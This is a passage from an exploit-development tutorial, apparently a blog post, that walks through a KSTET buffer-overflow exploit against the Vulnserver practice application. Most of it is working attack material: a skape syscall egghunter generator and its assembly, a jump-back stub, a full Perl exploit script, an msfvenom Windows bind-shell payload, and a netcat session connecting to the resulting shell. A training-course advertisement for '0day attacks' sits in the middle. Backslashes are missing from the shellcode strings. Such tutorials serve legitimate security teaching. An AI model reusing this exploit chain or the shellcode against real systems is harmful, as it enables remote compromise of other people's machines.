if ($ARGV[0] !~ m/^0x[0-9A-Fa-f]{8}$/) {
    die("Usage: $0 eggnnWhere egg is a 32 bit (4 byte) value in hex.nExample: $0 0x41414242nn");
}

$egg = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8";
$egg .= pack('N', hex($ARGV[0]));
$egg .= "x8bxfaxafx75xeaxafx75xe7xffxe7";
print "Size: " . length($egg) . "nn" . texttohex($egg) . "n";

sub texttohex {
    my $out;
    my @bits = split //, $_[0];
    foreach $bit (@bits) {
        $out = $out . 'x' . sprintf("%02x", ord($bit));
    }
    return $out;
}

This shellcode works by searching for a four byte value in memory that is repeated consecutively twice in a row, and it then passes control of execution to the code immediately following.

In case you are interested here is the egghunter shellcode below in assembly format. In the code below 0x5433334c is hardcoded as the value that is searched for. The perl script above allows this search value to be specified by the user.

[BITS 32]
; Matt Millers (skapes) syscall egghunter

global _start

loop_inc_page:
    or dx, 0x0fff ; Add PAGE_SIZE-1 to edx
loop_inc_one:
    inc edx ; Increment our pointer by one
loop_check:
    push edx ; Save edx
    push byte 0x2 ; Push NtAccessCheckAndAuditAlarm
    pop eax ; Pop into eax
    int 0x2e ; Perform the syscall
    cmp al, 0x05 ; Did we get 0xc0000005 (ACCESS_VIOLATION) ?
    pop edx ; Restore edx
loop_check_8_valid:
    je loop_inc_page ; Yes, invalid ptr, go to the next page

is_egg:
    mov eax, 0x5433334c ; Throw our egg in eax
    mov edi, edx ; Set edi to the pointer we validated
    scasd ; Compare the dword in edi to eax
    jnz loop_inc_one ; No match? Increment the pointer by one
    scasd ; Compare the dword in edi to eax again (which is now edx + 4)
    jnz loop_inc_one ; No match? Increment the pointer by one

matched:
    jmp edi

I’m going to use the four character string “R0cX” for my search value, so I feed it into the following perl one liner to get its hex representation:

stephen@lion:~/Vulnserver$ perl -e '@b = split //, 'R0cX'; print "0x"; for(@b) {print sprintf("%02x", ord($_))} print "n"'
0x52306358

Now I can run the egghunter_syscall.pl script with the preceding value as input. This will provide me with egghunter shellcode in hex format, using “R0cX” as its search string.

stephen@lion:~/Vulnserver$ ./egghunter_syscall.pl 0x52306358
Size: 32
x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8x52x30x63x58x8bxfaxafx75xeaxafx75xe7xffxe7

Now we need to insert that egghunter code into our exploit. As discussed before, we will be inserting this egghunter shellcode into the 69 byte area in our $baddata variable before the EIP address overwrite, but inserting the shellcode at that location gives us one more problem we need to address. If you remember, when we run our exploit, execution ends up in the 20 byte space after the area that overwrites EIP. For our exploit to work, we will need to be able to jump execution backwards in memory from this location to the area where our egghunter code is stored. The following bit of assembly code will allow us to do this.

[BITS 32]
mov eax, esp ; copy value from esp to eax
sub eax, byte 0x40 ; subtract 0x40 (64) from eax
jmp eax ; redirect execution to address in eax

This code takes the value from ESP (which as we saw earlier, stores the value of a memory address pointing within our buffer, just after the location of our EIP overwrite address), places it in the EAX register, subtracts 64 from it, and jumps to that address.

The code (saved as jumpback.asm) can be assembled and converted to hex format for pasting into our exploit like so. If you don’t have nasm installed (this was listed as being optional in the requirements section) just feel free to skip this step and just copy the hex value from my second command below.

stephen@lion:~/Vulnserver$ nasm jumpback.asm -f bin -o jumpback.bin
stephen@lion:~/Vulnserver$ cat jumpback.bin | perl -e 'while (read STDIN, $d, 1) {print "x" . sprintf("%02x", ord($d))} print "n"'
x89xe0x83xe8x40xffxe0

Now we modify our exploit as follows. First we set our variable $egghuntme to “GDOG “, followed by two iterations of our search string, followed by the “egg” that we want our egghunter to find and then run. In this case, the “egg” is just a few INT3 breakpoints, just to allow us to successfully test the egghunter works. This data gets sent to the Vulnserver application BEFORE the data that triggers the exploitable vulnerability, to ensure that it is there when the exception occurs.

I have also added a few x90 NOP instructions to create a NOP sled before the egghunter shellcode. The jump code that jumps back 64 bytes from the location stored in the ESP register will land on this NOP sled and execution will run through to the egghunter code. This just allows us to avoid having to precisely determine where our jump back code will land – as long as it hits the NOP sled somewhere, execution will continue smoothly from the start of our egghunter.

And of course, the jump code we assembled with nasm gets added to the end of the $baddata variable, after the overwrite address.

To hopefully clarify what we are doing here, the following is diagram showing the way that code execution will move within memory when this exploit runs.

And here is the updated code including the changes discussed above.

Want to learn more?? The InfoSec Institute Advanced Hacking course aims to train you on how to successfully attack fully patched and hardened systems by developing your own exploits. You will how to circumvent common security controls such as DEP and ASLR, and how to get to confidential data. You take this knowledge back to your organization and can then formulate a way to defend against these sophisticated attacks. Some features of this course include:
  • Create 0day attacks as part of the Advanced Persistent Threat
  • 5 days of Intensive Hands-On Labs
  • Use fuzzers and dynamic analysis to attack custom and COTS apps
  • Reverse engineer binaries to find new vulnerabilities never discovered before
  • Attack and defeat VPNs, IDS/IPS and other security technologies
#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$egghuntme = "GDOG "; # our variable containing the "egg" for our egghunter to find starts here
$egghuntme .= "R0cX" x 2; # two iterations of search string "R0cX"
$egghuntme .= "xCC" x 4; # four int3 breakpoints, the "egg" that will be executed 

$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "x90" x 20; # NOP sled
$baddata .= "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8x52x30x63x58x8bxfaxafx75xeaxafx75xe7xffxe7"; # skape syscall egghunter searching for R0cX
$baddata .= "x90" x (69 - length($baddata));
$baddata .= pack('V', 0x625011AF); # JMP ESP essfunc.dll
$baddata .= "x89xe0x83xe8x40xffxe0"; # mov eax, esp; sub eax, 0x40; jmp eax 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($egghuntme); # send "egg" data to the application
$socket->recv($sd, 1024);
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Restart the program in the debugger and run the exploit once more.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

Now, after a short pause while the egghunter does its magic, execution should pause at the first of the four INT3 breakpoints.

This demonstrates that our egghunter is working. The only remaining thing to do is to add some proper shellcode to our egg. With version 4 of Metasploit, we have a new tool called msfvenom which can generate and encode shellcode in one step. We will generate a simple bindshell shellcode, listening on port 12345, and we will encode it to avoid use of the common bad characters “x00″, “x0A” and “x0D”.

Note: If you have any issues running the command below, it could be because there isnt a link for the msfvenom executable in your path. If this is the case, simply run it directly from the Metasploit install directory.

stephen@lion:~/Vulnserver$ msfvenom -p windows/shell_bind_tcp -f perl -a x86 -b 'x00x0ax0d' LPORT=12345
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
my $buf =
"xbaxa2x97xadx8dxdbxd3xd9x74x24xf4x58x2bxc9" .
"xb1x56x31x50x13x83xc0x04x03x50xadx75x58x71" .
"x59xf0xa3x8ax99x63x2dx6fxa8xb1x49xfbx98x05" .
"x19xa9x10xedx4fx5axa3x83x47x6dx04x29xbex40" .
"x95x9fx7ex0ex55x81x02x4dx89x61x3ax9exdcx60" .
"x7bxc3x2ex30xd4x8fx9cxa5x51xcdx1cxc7xb5x59" .
"x1cxbfxb0x9exe8x75xbaxcex40x01xf4xf6xebx4d" .
"x25x06x38x8ex19x41x35x65xe9x50x9fxb7x12x63" .
"xdfx14x2dx4bxd2x65x69x6cx0cx10x81x8exb1x23" .
"x52xecx6dxa1x47x56xe6x11xacx66x2bxc7x27x64" .
"x80x83x60x69x17x47x1bx95x9cx66xccx1fxe6x4c" .
"xc8x44xbdxedx49x21x10x11x89x8dxcdxb7xc1x3c" .
"x1axc1x8bx28xefxfcx33xa9x67x76x47x9bx28x2c" .
"xcfx97xa1xeax08xd7x98x4bx86x26x22xacx8exec" .
"x76xfcxb8xc5xf6x97x38xe9x23x37x69x45x9bxf8" .
"xd9x25x4bx91x33xaaxb4x81x3bx60xc3x85xf5x50" .
"x80x61xf4x66x16x4bx71x80x3cxbbxd7x1axa8x79" .
"x0cx93x4fx81x66x8fxd8x15x3exd9xdex1axbfxcf" .
"x4dxb6x17x98x05xd4xa3xb9x1axf1x83xb0x23x92" .
"x5exadxe6x02x5exe4x90xa7xcdx63x60xa1xedx3b" .
"x37xe6xc0x35xddx1ax7axecxc3xe6x1axd7x47x3d" .
"xdfxd6x46xb0x5bxfdx58x0cx63xb9x0cxc0x32x17" .
"xfaxa6xecxd9x54x71x42xb0x30x04xa8x03x46x09" .
"xe5xf5xa6xb8x50x40xd9x75x35x44xa2x6bxa5xab" .
"x79x28xd5xe1x23x19x7exacxb6x1bxe3x4fx6dx5f" .
"x1axccx87x20xd9xccxe2x25xa5x4ax1fx54xb6x3e" .
"x1fxcbxb7x6a";

Now paste the generated shellcode into your exploit like so:

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$egghuntme = "GDOG "; # our variable containing the "egg" for our egghunter to find starts here
$egghuntme .= "R0cX" x 2; # two iterations of search string "R0cX"
# msfvenom -p windows/shell_bind_tcp -f perl -a x86 -b 'x00x0ax0d' LPORT=12345
$egghuntme .= "xbaxa2x97xadx8dxdbxd3xd9x74x24xf4x58x2bxc9" .
"xb1x56x31x50x13x83xc0x04x03x50xadx75x58x71" .
"x59xf0xa3x8ax99x63x2dx6fxa8xb1x49xfbx98x05" .
"x19xa9x10xedx4fx5axa3x83x47x6dx04x29xbex40" .
"x95x9fx7ex0ex55x81x02x4dx89x61x3ax9exdcx60" .
"x7bxc3x2ex30xd4x8fx9cxa5x51xcdx1cxc7xb5x59" .
"x1cxbfxb0x9exe8x75xbaxcex40x01xf4xf6xebx4d" .
"x25x06x38x8ex19x41x35x65xe9x50x9fxb7x12x63" .
"xdfx14x2dx4bxd2x65x69x6cx0cx10x81x8exb1x23" .
"x52xecx6dxa1x47x56xe6x11xacx66x2bxc7x27x64" .
"x80x83x60x69x17x47x1bx95x9cx66xccx1fxe6x4c" .
"xc8x44xbdxedx49x21x10x11x89x8dxcdxb7xc1x3c" .
"x1axc1x8bx28xefxfcx33xa9x67x76x47x9bx28x2c" .
"xcfx97xa1xeax08xd7x98x4bx86x26x22xacx8exec" .
"x76xfcxb8xc5xf6x97x38xe9x23x37x69x45x9bxf8" .
"xd9x25x4bx91x33xaaxb4x81x3bx60xc3x85xf5x50" .
"x80x61xf4x66x16x4bx71x80x3cxbbxd7x1axa8x79" .
"x0cx93x4fx81x66x8fxd8x15x3exd9xdex1axbfxcf" .
"x4dxb6x17x98x05xd4xa3xb9x1axf1x83xb0x23x92" .
"x5exadxe6x02x5exe4x90xa7xcdx63x60xa1xedx3b" .
"x37xe6xc0x35xddx1ax7axecxc3xe6x1axd7x47x3d" .
"xdfxd6x46xb0x5bxfdx58x0cx63xb9x0cxc0x32x17" .
"xfaxa6xecxd9x54x71x42xb0x30x04xa8x03x46x09" .
"xe5xf5xa6xb8x50x40xd9x75x35x44xa2x6bxa5xab" .
"x79x28xd5xe1x23x19x7exacxb6x1bxe3x4fx6dx5f" .
"x1axccx87x20xd9xccxe2x25xa5x4ax1fx54xb6x3e" .
"x1fxcbxb7x6a"; 

$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "x90" x 20; # NOP sled
$baddata .= "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8x52x30x63x58x8bxfaxafx75xeaxafx75xe7xffxe7"; # skape syscall egghunter searching for R0cX
$baddata .= "x90" x (69 - length($baddata));
$baddata .= pack('V', 0x625011AF); # JMP ESP essfunc.dll
$baddata .= "x89xe0x83xe8x40xffxe0"; # mov eax, esp; sub eax, 0x40; jmp eax 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($egghuntme); # send "egg" data to the application
$socket->recv($sd, 1024);
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Now restart the program in the debugger, and run the exploit:

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

Give the egghunter shellcode a little bit of time to work its magic, and then attempt a connection to the shell on port 12345:

stephen@lion:~/Vulnserver$ nc 192.168.56.101 12345
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:Documents and SettingsStephen>

We have shell! Another exploit is successful!

Now have a go at exploiting the program outside of the debugger. You will notice that there is a delay between the exploit being launched and the shell becoming available, which is due to the actions of the egghunter, scouring through memory until it finds the search string and is able to pass control to the “egg” shellcode that follows.